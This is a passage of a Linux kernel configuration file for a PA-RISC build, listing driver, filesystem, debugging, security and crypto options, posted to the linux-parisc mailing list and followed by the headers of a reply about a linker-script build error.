CONFIG_DM_MIRROR=m
# CONFIG_DM_LOG_USERSPACE is not set
CONFIG_DM_ZERO=m
CONFIG_DM_MULTIPATH=m
# CONFIG_DM_MULTIPATH_QL is not set
# CONFIG_DM_MULTIPATH_ST is not set
CONFIG_DM_DELAY=m
# CONFIG_DM_UEVENT is not set
# CONFIG_FUSION is not set

#
# IEEE 1394 (FireWire) support
#

#
# You can enable one or both FireWire driver stacks.
#

#
# See the help texts for more information.
#
# CONFIG_FIREWIRE is not set
# CONFIG_IEEE1394 is not set
# CONFIG_I2O is not set
CONFIG_NETDEVICES=y
CONFIG_IFB=m
CONFIG_DUMMY=m
# CONFIG_BONDING is not set
# CONFIG_MACVLAN is not set
# CONFIG_EQUALIZER is not set
CONFIG_TUN=m
# CONFIG_VETH is not set
# CONFIG_ARCNET is not set
CONFIG_PHYLIB=m

#
# MII PHY device drivers
#
CONFIG_MARVELL_PHY=m
CONFIG_DAVICOM_PHY=m
CONFIG_QSEMI_PHY=m
CONFIG_LXT_PHY=m
CONFIG_CICADA_PHY=m
CONFIG_VITESSE_PHY=m
CONFIG_SMSC_PHY=m
CONFIG_BROADCOM_PHY=m
# CONFIG_ICPLUS_PHY is not set
# CONFIG_REALTEK_PHY is not set
# CONFIG_NATIONAL_PHY is not set
# CONFIG_STE10XP is not set
# CONFIG_LSI_ET1011C_PHY is not set
# CONFIG_MDIO_BITBANG is not set
CONFIG_NET_ETHERNET=y
CONFIG_MII=m
# CONFIG_LASI_82596 is not set
# CONFIG_HAPPYMEAL is not set
# CONFIG_SUNGEM is not set
# CONFIG_CASSINI is not set
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_ETHOC is not set
# CONFIG_NET_VENDOR_RACAL is not set
# CONFIG_DNET is not set
CONFIG_NET_TULIP=y
# CONFIG_DE2104X is not set
CONFIG_TULIP=m
# CONFIG_TULIP_MWI is not set
CONFIG_TULIP_MMIO=y
CONFIG_TULIP_NAPI=y
CONFIG_TULIP_NAPI_HW_MITIGATION=y
# CONFIG_DE4X5 is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_DM9102 is not set
# CONFIG_ULI526X is not set
# CONFIG_AT1700 is not set
# CONFIG_DEPCA is not set
# CONFIG_HP100 is not set
# CONFIG_NET_ISA is not set
# CONFIG_IBM_NEW_EMAC_ZMII is not set
# CONFIG_IBM_NEW_EMAC_RGMII is not set
# CONFIG_IBM_NEW_EMAC_TAH is not set
# CONFIG_IBM_NEW_EMAC_EMAC4 is not set
# CONFIG_IBM_NEW_EMAC_NO_FLOW_CTRL is not set
# CONFIG_IBM_NEW_EMAC_MAL_CLR_ICINTSTAT is not set
# CONFIG_IBM_NEW_EMAC_MAL_COMMON_ERR is not set
# CONFIG_NET_PCI is not set
# CONFIG_B44 is not set
# CONFIG_CS89x0 is not set
# CONFIG_KS8842 is not set
# CONFIG_NET_POCKET is not set
# CONFIG_ATL2 is not set
# CONFIG_NETDEV_1000 is not set
# CONFIG_NETDEV_10000 is not set
# CONFIG_TR is not set
# CONFIG_WLAN is not set

#
# Enable WiMAX (Networking options) to see the WiMAX drivers
#

#
# USB Network Adapters
#
# CONFIG_USB_CATC is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_RTL8150 is not set
# CONFIG_USB_USBNET is not set
# CONFIG_WAN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
CONFIG_PLIP=m
CONFIG_PPP=m
CONFIG_PPP_MULTILINK=y
CONFIG_PPP_FILTER=y
CONFIG_PPP_ASYNC=m
CONFIG_PPP_SYNC_TTY=m
CONFIG_PPP_DEFLATE=m
CONFIG_PPP_BSDCOMP=m
CONFIG_PPP_MPPE=m
CONFIG_PPPOE=m
# CONFIG_PPPOL2TP is not set
CONFIG_SLIP=m
CONFIG_SLIP_COMPRESSED=y
CONFIG_SLHC=m
CONFIG_SLIP_SMART=y
# CONFIG_SLIP_MODE_SLIP6 is not set
# CONFIG_NET_FC is not set
CONFIG_NETCONSOLE=m
# CONFIG_NETCONSOLE_DYNAMIC is not set
CONFIG_NETPOLL=y
# CONFIG_NETPOLL_TRAP is not set
CONFIG_NET_POLL_CONTROLLER=y
# CONFIG_ISDN is not set
# CONFIG_PHONE is not set

#
# Input device support
#
CONFIG_INPUT=y
# CONFIG_INPUT_FF_MEMLESS is not set
# CONFIG_INPUT_POLLDEV is not set

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
# CONFIG_INPUT_KEYBOARD is not set
# CONFIG_INPUT_MOUSE is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
CONFIG_INPUT_MISC=y
# CONFIG_INPUT_ATI_REMOTE is not set
# CONFIG_INPUT_ATI_REMOTE2 is not set
# CONFIG_INPUT_KEYSPAN_REMOTE is not set
# CONFIG_INPUT_POWERMATE is not set
# CONFIG_INPUT_YEALINK is not set
# CONFIG_INPUT_CM109 is not set
# CONFIG_INPUT_UINPUT is not set
CONFIG_HP_SDC_RTC=m

#
# Hardware I/O ports
#
CONFIG_SERIO=y
CONFIG_SERIO_SERPORT=m
# CONFIG_SERIO_PARKBD is not set
CONFIG_SERIO_GSCPS2=y
CONFIG_HP_SDC=m
# CONFIG_HIL_MLC is not set
# CONFIG_SERIO_PCIPS2 is not set
CONFIG_SERIO_RAW=m
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
# CONFIG_VT_HW_CONSOLE_BINDING is not set
CONFIG_DEVKMEM=y
# CONFIG_SERIAL_NONSTANDARD is not set
# CONFIG_NOZOMI is not set

#
# Serial drivers
#
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_GSC=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_NR_UARTS=16
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
CONFIG_SERIAL_8250_MANY_PORTS=y
CONFIG_SERIAL_8250_FOURPORT=m
CONFIG_SERIAL_8250_ACCENT=m
CONFIG_SERIAL_8250_BOCA=m
# CONFIG_SERIAL_8250_EXAR_ST16C554 is not set
CONFIG_SERIAL_8250_HUB6=m
CONFIG_SERIAL_8250_SHARE_IRQ=y
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
# CONFIG_SERIAL_8250_RSA is not set

#
# Non-8250 serial port support
#
CONFIG_SERIAL_MUX=y
CONFIG_SERIAL_MUX_CONSOLE=y
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
CONFIG_SERIAL_JSM=m
CONFIG_UNIX98_PTYS=y
# CONFIG_DEVPTS_MULTIPLE_INSTANCES is not set
# CONFIG_LEGACY_PTYS is not set
CONFIG_PRINTER=m
# CONFIG_LP_CONSOLE is not set
# CONFIG_PPDEV is not set
# CONFIG_IPMI_HANDLER is not set
CONFIG_HW_RANDOM=y
# CONFIG_HW_RANDOM_TIMERIOMEM is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set
# CONFIG_RAW_DRIVER is not set
# CONFIG_TCG_TPM is not set
CONFIG_DEVPORT=y
# CONFIG_I2C is not set
# CONFIG_SPI is not set

#
# PPS support
#
# CONFIG_PPS is not set
# CONFIG_W1 is not set
# CONFIG_POWER_SUPPLY is not set
CONFIG_HWMON=y
CONFIG_HWMON_VID=m
# CONFIG_HWMON_DEBUG_CHIP is not set

#
# Native drivers
#
# CONFIG_SENSORS_I5K_AMB is not set
# CONFIG_SENSORS_F71805F is not set
# CONFIG_SENSORS_F71882FG is not set
# CONFIG_SENSORS_IT87 is not set
# CONFIG_SENSORS_PC87360 is not set
CONFIG_SENSORS_PC87427=m
# CONFIG_SENSORS_SIS5595 is not set
# CONFIG_SENSORS_SMSC47M1 is not set
# CONFIG_SENSORS_SMSC47B397 is not set
# CONFIG_SENSORS_VIA686A is not set
CONFIG_SENSORS_VT1211=m
# CONFIG_SENSORS_VT8231 is not set
# CONFIG_SENSORS_W83627HF is not set
# CONFIG_SENSORS_W83627EHF is not set
# CONFIG_THERMAL is not set
# CONFIG_WATCHDOG is not set
CONFIG_SSB_POSSIBLE=y

#
# Sonics Silicon Backplane
#
CONFIG_SSB=m
CONFIG_SSB_SPROM=y
CONFIG_SSB_PCIHOST_POSSIBLE=y
CONFIG_SSB_PCIHOST=y
# CONFIG_SSB_B43_PCI_BRIDGE is not set
# CONFIG_SSB_DEBUG is not set
CONFIG_SSB_DRIVER_PCICORE_POSSIBLE=y
CONFIG_SSB_DRIVER_PCICORE=y

#
# Multifunction device drivers
#
# CONFIG_MFD_CORE is not set
# CONFIG_MFD_SM501 is not set
# CONFIG_HTC_PASIC3 is not set
# CONFIG_MFD_TMIO is not set
# CONFIG_REGULATOR is not set
# CONFIG_MEDIA_SUPPORT is not set

#
# Graphics support
#
# CONFIG_AGP is not set
CONFIG_VGA_ARB=y
# CONFIG_DRM is not set
# CONFIG_VGASTATE is not set
# CONFIG_VIDEO_OUTPUT_CONTROL is not set
# CONFIG_FB is not set
CONFIG_BACKLIGHT_LCD_SUPPORT=y
# CONFIG_LCD_CLASS_DEVICE is not set
CONFIG_BACKLIGHT_CLASS_DEVICE=m
CONFIG_BACKLIGHT_GENERIC=m

#
# Display device support
#
# CONFIG_DISPLAY_SUPPORT is not set

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
CONFIG_STI_CONSOLE=y
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
# CONFIG_SOUND is not set
# CONFIG_HID_SUPPORT is not set
CONFIG_USB_SUPPORT=y
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB_ARCH_HAS_OHCI=y
CONFIG_USB_ARCH_HAS_EHCI=y
CONFIG_USB=m
CONFIG_USB_DEBUG=y
# CONFIG_USB_ANNOUNCE_NEW_DEVICES is not set

#
# Miscellaneous USB options
#
# CONFIG_USB_DEVICEFS is not set
CONFIG_USB_DEVICE_CLASS=y
# CONFIG_USB_DYNAMIC_MINORS is not set
# CONFIG_USB_OTG is not set
CONFIG_USB_MON=m
# CONFIG_USB_WUSB is not set
# CONFIG_USB_WUSB_CBAF is not set

#
# USB Host Controller Drivers
#
# CONFIG_USB_C67X00_HCD is not set
# CONFIG_USB_XHCI_HCD is not set
CONFIG_USB_EHCI_HCD=m
# CONFIG_USB_EHCI_ROOT_HUB_TT is not set
# CONFIG_USB_EHCI_TT_NEWSCHED is not set
# CONFIG_USB_OXU210HP_HCD is not set
# CONFIG_USB_ISP116X_HCD is not set
# CONFIG_USB_ISP1760_HCD is not set
# CONFIG_USB_ISP1362_HCD is not set
CONFIG_USB_OHCI_HCD=m
# CONFIG_USB_OHCI_HCD_SSB is not set
# CONFIG_USB_OHCI_BIG_ENDIAN_DESC is not set
# CONFIG_USB_OHCI_BIG_ENDIAN_MMIO is not set
CONFIG_USB_OHCI_LITTLE_ENDIAN=y
# CONFIG_USB_UHCI_HCD is not set
# CONFIG_USB_SL811_HCD is not set
# CONFIG_USB_R8A66597_HCD is not set
# CONFIG_USB_WHCI_HCD is not set
# CONFIG_USB_HWA_HCD is not set

#
# Enable Host or Gadget support to see Inventra options
#

#
# USB Device Class drivers
#
# CONFIG_USB_ACM is not set
# CONFIG_USB_PRINTER is not set
# CONFIG_USB_WDM is not set
# CONFIG_USB_TMC is not set

#
# NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may
#

#
# also be needed; see USB_STORAGE Help for more info
#
CONFIG_USB_STORAGE=m
# CONFIG_USB_STORAGE_DEBUG is not set
# CONFIG_USB_STORAGE_DATAFAB is not set
# CONFIG_USB_STORAGE_FREECOM is not set
# CONFIG_USB_STORAGE_ISD200 is not set
# CONFIG_USB_STORAGE_USBAT is not set
# CONFIG_USB_STORAGE_SDDR09 is not set
# CONFIG_USB_STORAGE_SDDR55 is not set
# CONFIG_USB_STORAGE_JUMPSHOT is not set
# CONFIG_USB_STORAGE_ALAUDA is not set
# CONFIG_USB_STORAGE_ONETOUCH is not set
# CONFIG_USB_STORAGE_KARMA is not set
# CONFIG_USB_STORAGE_CYPRESS_ATACB is not set
# CONFIG_USB_LIBUSUAL is not set

#
# USB Imaging devices
#
# CONFIG_USB_MDC800 is not set
# CONFIG_USB_MICROTEK is not set

#
# USB port drivers
#
# CONFIG_USB_USS720 is not set
# CONFIG_USB_SERIAL is not set

#
# USB Miscellaneous drivers
#
# CONFIG_USB_EMI62 is not set
# CONFIG_USB_EMI26 is not set
# CONFIG_USB_ADUTUX is not set
# CONFIG_USB_SEVSEG is not set
# CONFIG_USB_RIO500 is not set
# CONFIG_USB_LEGOTOWER is not set
# CONFIG_USB_LCD is not set
# CONFIG_USB_BERRY_CHARGE is not set
# CONFIG_USB_LED is not set
# CONFIG_USB_CYPRESS_CY7C63 is not set
# CONFIG_USB_CYTHERM is not set
# CONFIG_USB_IDMOUSE is not set
# CONFIG_USB_FTDI_ELAN is not set
# CONFIG_USB_APPLEDISPLAY is not set
# CONFIG_USB_SISUSBVGA is not set
# CONFIG_USB_LD is not set
# CONFIG_USB_TRANCEVIBRATOR is not set
# CONFIG_USB_IOWARRIOR is not set
# CONFIG_USB_TEST is not set
# CONFIG_USB_ISIGHTFW is not set
# CONFIG_USB_VST is not set
# CONFIG_USB_GADGET is not set

#
# OTG and related infrastructure
#
# CONFIG_NOP_USB_XCEIV is not set
# CONFIG_UWB is not set
# CONFIG_MMC is not set
# CONFIG_MEMSTICK is not set
# CONFIG_NEW_LEDS is not set
# CONFIG_ACCESSIBILITY is not set
# CONFIG_INFINIBAND is not set
CONFIG_RTC_LIB=y
CONFIG_RTC_CLASS=y
CONFIG_RTC_HCTOSYS=y
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set
# CONFIG_RTC_DRV_TEST is not set

#
# SPI RTC drivers
#

#
# Platform RTC drivers
#
# CONFIG_RTC_DRV_DS1286 is not set
# CONFIG_RTC_DRV_DS1511 is not set
CONFIG_RTC_DRV_DS1553=m
CONFIG_RTC_DRV_DS1742=m
# CONFIG_RTC_DRV_STK17TA8 is not set
CONFIG_RTC_DRV_M48T86=m
# CONFIG_RTC_DRV_M48T35 is not set
# CONFIG_RTC_DRV_M48T59 is not set
# CONFIG_RTC_DRV_BQ4802 is not set
CONFIG_RTC_DRV_V3020=m

#
# on-CPU RTC drivers
#
CONFIG_RTC_DRV_GENERIC=y
# CONFIG_DMADEVICES is not set
# CONFIG_AUXDISPLAY is not set
# CONFIG_UIO is not set

#
# TI VLYNQ
#
# CONFIG_STAGING is not set

#
# File systems
#
CONFIG_EXT2_FS=y
CONFIG_EXT2_FS_XATTR=y
CONFIG_EXT2_FS_POSIX_ACL=y
CONFIG_EXT2_FS_SECURITY=y
# CONFIG_EXT2_FS_XIP is not set
CONFIG_EXT3_FS=m
CONFIG_EXT3_DEFAULTS_TO_ORDERED=y
CONFIG_EXT3_FS_XATTR=y
CONFIG_EXT3_FS_POSIX_ACL=y
CONFIG_EXT3_FS_SECURITY=y
# CONFIG_EXT4_FS is not set
CONFIG_JBD=m
# CONFIG_JBD_DEBUG is not set
CONFIG_FS_MBCACHE=y
# CONFIG_REISERFS_FS is not set
# CONFIG_JFS_FS is not set
CONFIG_FS_POSIX_ACL=y
# CONFIG_XFS_FS is not set
# CONFIG_GFS2_FS is not set
# CONFIG_OCFS2_FS is not set
# CONFIG_BTRFS_FS is not set
# CONFIG_NILFS2_FS is not set
CONFIG_FILE_LOCKING=y
CONFIG_FSNOTIFY=y
CONFIG_DNOTIFY=y
CONFIG_INOTIFY=y
CONFIG_INOTIFY_USER=y
CONFIG_QUOTA=y
# CONFIG_QUOTA_NETLINK_INTERFACE is not set
CONFIG_PRINT_QUOTA_WARNING=y
CONFIG_QUOTA_TREE=m
CONFIG_QFMT_V1=m
CONFIG_QFMT_V2=m
CONFIG_QUOTACTL=y
CONFIG_AUTOFS_FS=m
CONFIG_AUTOFS4_FS=m
CONFIG_FUSE_FS=m
# CONFIG_CUSE is not set
CONFIG_GENERIC_ACL=y

#
# Caches
#
# CONFIG_FSCACHE is not set

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=m
CONFIG_JOLIET=y
CONFIG_ZISOFS=y
CONFIG_UDF_FS=m
CONFIG_UDF_NLS=y

#
# DOS/FAT/NT Filesystems
#
CONFIG_FAT_FS=m
CONFIG_MSDOS_FS=m
CONFIG_VFAT_FS=m
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
CONFIG_TMPFS_POSIX_ACL=y
# CONFIG_HUGETLB_PAGE is not set
CONFIG_CONFIGFS_FS=m
CONFIG_MISC_FILESYSTEMS=y
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
CONFIG_ECRYPT_FS=m
# CONFIG_HFS_FS is not set
# CONFIG_HFSPLUS_FS is not set
# CONFIG_BEFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EFS_FS is not set
CONFIG_CRAMFS=y
# CONFIG_SQUASHFS is not set
CONFIG_VXFS_FS=m
# CONFIG_MINIX_FS is not set
# CONFIG_OMFS_FS is not set
# CONFIG_HPFS_FS is not set
# CONFIG_QNX4FS_FS is not set
CONFIG_ROMFS_FS=m
CONFIG_ROMFS_BACKED_BY_BLOCK=y
# CONFIG_ROMFS_BACKED_BY_MTD is not set
# CONFIG_ROMFS_BACKED_BY_BOTH is not set
CONFIG_ROMFS_ON_BLOCK=y
CONFIG_SYSV_FS=y
# CONFIG_UFS_FS is not set
CONFIG_NETWORK_FILESYSTEMS=y
CONFIG_NFS_FS=m
CONFIG_NFS_V3=y
CONFIG_NFS_V3_ACL=y
CONFIG_NFS_V4=y
# CONFIG_NFS_V4_1 is not set
# CONFIG_NFSD is not set
CONFIG_LOCKD=m
CONFIG_LOCKD_V4=y
CONFIG_NFS_ACL_SUPPORT=m
CONFIG_NFS_COMMON=y
CONFIG_SUNRPC=m
CONFIG_SUNRPC_GSS=m
CONFIG_RPCSEC_GSS_KRB5=m
# CONFIG_RPCSEC_GSS_SPKM3 is not set
# CONFIG_SMB_FS is not set
# CONFIG_CIFS is not set
# CONFIG_NCP_FS is not set
# CONFIG_CODA_FS is not set
# CONFIG_AFS_FS is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="iso8859-1"
CONFIG_NLS_CODEPAGE_437=m
# CONFIG_NLS_CODEPAGE_737 is not set
# CONFIG_NLS_CODEPAGE_775 is not set
CONFIG_NLS_CODEPAGE_850=m
# CONFIG_NLS_CODEPAGE_852 is not set
# CONFIG_NLS_CODEPAGE_855 is not set
# CONFIG_NLS_CODEPAGE_857 is not set
# CONFIG_NLS_CODEPAGE_860 is not set
# CONFIG_NLS_CODEPAGE_861 is not set
# CONFIG_NLS_CODEPAGE_862 is not set
# CONFIG_NLS_CODEPAGE_863 is not set
# CONFIG_NLS_CODEPAGE_864 is not set
# CONFIG_NLS_CODEPAGE_865 is not set
# CONFIG_NLS_CODEPAGE_866 is not set
# CONFIG_NLS_CODEPAGE_869 is not set
# CONFIG_NLS_CODEPAGE_936 is not set
# CONFIG_NLS_CODEPAGE_950 is not set
# CONFIG_NLS_CODEPAGE_932 is not set
# CONFIG_NLS_CODEPAGE_949 is not set
# CONFIG_NLS_CODEPAGE_874 is not set
# CONFIG_NLS_ISO8859_8 is not set
# CONFIG_NLS_CODEPAGE_1250 is not set
# CONFIG_NLS_CODEPAGE_1251 is not set
CONFIG_NLS_ASCII=m
CONFIG_NLS_ISO8859_1=m
# CONFIG_NLS_ISO8859_2 is not set
# CONFIG_NLS_ISO8859_3 is not set
# CONFIG_NLS_ISO8859_4 is not set
# CONFIG_NLS_ISO8859_5 is not set
# CONFIG_NLS_ISO8859_6 is not set
# CONFIG_NLS_ISO8859_7 is not set
# CONFIG_NLS_ISO8859_9 is not set
# CONFIG_NLS_ISO8859_13 is not set
# CONFIG_NLS_ISO8859_14 is not set
CONFIG_NLS_ISO8859_15=m
# CONFIG_NLS_KOI8_R is not set
# CONFIG_NLS_KOI8_U is not set
CONFIG_NLS_UTF8=m
CONFIG_DLM=m
CONFIG_DLM_DEBUG=y

#
# Kernel hacking
#
# CONFIG_PRINTK_TIME is not set
CONFIG_ENABLE_WARN_DEPRECATED=y
CONFIG_ENABLE_MUST_CHECK=y
CONFIG_FRAME_WARN=2048
CONFIG_MAGIC_SYSRQ=y
# CONFIG_STRIP_ASM_SYMS is not set
CONFIG_UNUSED_SYMBOLS=y
CONFIG_DEBUG_FS=y
# CONFIG_HEADERS_CHECK is not set
CONFIG_DEBUG_KERNEL=y
# CONFIG_DEBUG_SHIRQ is not set
# CONFIG_DETECT_SOFTLOCKUP is not set
# CONFIG_DETECT_HUNG_TASK is not set
CONFIG_SCHED_DEBUG=y
# CONFIG_SCHEDSTATS is not set
# CONFIG_TIMER_STATS is not set
# CONFIG_DEBUG_OBJECTS is not set
# CONFIG_DEBUG_SLAB is not set
# CONFIG_DEBUG_RT_MUTEXES is not set
# CONFIG_RT_MUTEX_TESTER is not set
# CONFIG_DEBUG_SPINLOCK is not set
# CONFIG_DEBUG_MUTEXES is not set
# CONFIG_DEBUG_SPINLOCK_SLEEP is not set
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_DEBUG_KOBJECT is not set
CONFIG_DEBUG_BUGVERBOSE=y
# CONFIG_DEBUG_INFO is not set
# CONFIG_DEBUG_VM is not set
# CONFIG_DEBUG_WRITECOUNT is not set
CONFIG_DEBUG_MEMORY_INIT=y
# CONFIG_DEBUG_LIST is not set
# CONFIG_DEBUG_SG is not set
# CONFIG_DEBUG_NOTIFIERS is not set
# CONFIG_DEBUG_CREDENTIALS is not set
# CONFIG_BOOT_PRINTK_DELAY is not set
# CONFIG_RCU_TORTURE_TEST is not set
# CONFIG_RCU_CPU_STALL_DETECTOR is not set
# CONFIG_BACKTRACE_SELF_TEST is not set
# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set
# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set
# CONFIG_FAULT_INJECTION is not set
# CONFIG_LATENCYTOP is not set
# CONFIG_SYSCTL_SYSCALL_CHECK is not set
# CONFIG_PAGE_POISONING is not set
CONFIG_HAVE_FUNCTION_TRACER=y
CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y
CONFIG_HAVE_FUNCTION_TRACE_MCOUNT_TEST=y
# CONFIG_DYNAMIC_DEBUG is not set
# CONFIG_SAMPLES is not set
# CONFIG_DEBUG_RODATA is not set

#
# Security options
#
CONFIG_KEYS=y
# CONFIG_KEYS_DEBUG_PROC_KEYS is not set
CONFIG_SECURITY=y
# CONFIG_SECURITYFS is not set
CONFIG_SECURITY_NETWORK=y
CONFIG_SECURITY_NETWORK_XFRM=y
# CONFIG_SECURITY_PATH is not set
# CONFIG_SECURITY_FILE_CAPABILITIES is not set
CONFIG_LSM_MMAP_MIN_ADDR=65536
CONFIG_SECURITY_SELINUX=y
CONFIG_SECURITY_SELINUX_BOOTPARAM=y
CONFIG_SECURITY_SELINUX_BOOTPARAM_VALUE=0
CONFIG_SECURITY_SELINUX_DISABLE=y
CONFIG_SECURITY_SELINUX_DEVELOP=y
CONFIG_SECURITY_SELINUX_AVC_STATS=y
CONFIG_SECURITY_SELINUX_CHECKREQPROT_VALUE=1
# CONFIG_SECURITY_SELINUX_POLICYDB_VERSION_MAX is not set
# CONFIG_SECURITY_TOMOYO is not set
CONFIG_XOR_BLOCKS=m
CONFIG_ASYNC_CORE=m
CONFIG_ASYNC_MEMCPY=m
CONFIG_ASYNC_XOR=m
CONFIG_ASYNC_PQ=m
CONFIG_ASYNC_RAID6_RECOV=m
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_AEAD=m
CONFIG_CRYPTO_AEAD2=y
CONFIG_CRYPTO_BLKCIPHER=y
CONFIG_CRYPTO_BLKCIPHER2=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_HASH2=y
CONFIG_CRYPTO_RNG2=y
CONFIG_CRYPTO_PCOMP=y
CONFIG_CRYPTO_MANAGER=y
CONFIG_CRYPTO_MANAGER2=y
CONFIG_CRYPTO_GF128MUL=m
CONFIG_CRYPTO_NULL=m
CONFIG_CRYPTO_WORKQUEUE=y
# CONFIG_CRYPTO_CRYPTD is not set
CONFIG_CRYPTO_AUTHENC=m
CONFIG_CRYPTO_TEST=m

#
# Authenticated Encryption with Associated Data
#
# CONFIG_CRYPTO_CCM is not set
# CONFIG_CRYPTO_GCM is not set
# CONFIG_CRYPTO_SEQIV is not set

#
# Block modes
#
CONFIG_CRYPTO_CBC=y
# CONFIG_CRYPTO_CTR is not set
# CONFIG_CRYPTO_CTS is not set
CONFIG_CRYPTO_ECB=m
CONFIG_CRYPTO_LRW=m
CONFIG_CRYPTO_PCBC=m
# CONFIG_CRYPTO_XTS is not set

#
# Hash modes
#
CONFIG_CRYPTO_HMAC=y
CONFIG_CRYPTO_XCBC=m
# CONFIG_CRYPTO_VMAC is not set

#
# Digest
#
CONFIG_CRYPTO_CRC32C=m
# CONFIG_CRYPTO_GHASH is not set
CONFIG_CRYPTO_MD4=m
CONFIG_CRYPTO_MD5=y
CONFIG_CRYPTO_MICHAEL_MIC=m
# CONFIG_CRYPTO_RMD128 is not set
# CONFIG_CRYPTO_RMD160 is not set
# CONFIG_CRYPTO_RMD256 is not set
# CONFIG_CRYPTO_RMD320 is not set
CONFIG_CRYPTO_SHA1=m
CONFIG_CRYPTO_SHA256=m
CONFIG_CRYPTO_SHA512=m
CONFIG_CRYPTO_TGR192=m
CONFIG_CRYPTO_WP512=m

#
# Ciphers
#
CONFIG_CRYPTO_AES=m
CONFIG_CRYPTO_ANUBIS=m
CONFIG_CRYPTO_ARC4=m
CONFIG_CRYPTO_BLOWFISH=m
CONFIG_CRYPTO_CAMELLIA=m
CONFIG_CRYPTO_CAST5=m
CONFIG_CRYPTO_CAST6=m
CONFIG_CRYPTO_DES=y
CONFIG_CRYPTO_FCRYPT=m
CONFIG_CRYPTO_KHAZAD=m
# CONFIG_CRYPTO_SALSA20 is not set
# CONFIG_CRYPTO_SEED is not set
CONFIG_CRYPTO_SERPENT=m
CONFIG_CRYPTO_TEA=m
CONFIG_CRYPTO_TWOFISH=m
CONFIG_CRYPTO_TWOFISH_COMMON=m

#
# Compression
#
CONFIG_CRYPTO_DEFLATE=m
# CONFIG_CRYPTO_ZLIB is not set
# CONFIG_CRYPTO_LZO is not set

#
# Random Number Generation
#
# CONFIG_CRYPTO_ANSI_CPRNG is not set
CONFIG_CRYPTO_HW=y
# CONFIG_CRYPTO_DEV_HIFN_795X is not set
# CONFIG_BINARY_PRINTF is not set

#
# Library routines
#
CONFIG_BITREVERSE=y
CONFIG_GENERIC_FIND_LAST_BIT=y
CONFIG_CRC_CCITT=m
CONFIG_CRC16=m
# CONFIG_CRC_T10DIF is not set
CONFIG_CRC_ITU_T=m
CONFIG_CRC32=y
# CONFIG_CRC7 is not set
CONFIG_LIBCRC32C=m
CONFIG_AUDIT_GENERIC=y
CONFIG_ZLIB_INFLATE=y
CONFIG_ZLIB_DEFLATE=m
CONFIG_DECOMPRESS_GZIP=y
CONFIG_DECOMPRESS_BZIP2=y
CONFIG_DECOMPRESS_LZMA=y
CONFIG_TEXTSEARCH=y
CONFIG_TEXTSEARCH_KMP=m
CONFIG_TEXTSEARCH_BM=m
CONFIG_TEXTSEARCH_FSM=m
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_DMA=y
CONFIG_NLATTR=y

--Boundary-00=_TLBxKC7epDmAvSf--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frans Pop <elendil@planet.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: vmlinux.lds:319: undefined symbol `THREAD_SIZE'
Date: Thu, 1 Oct 2009 05:35:38 +0200
Lines: 18
Approved: news@gmane.org
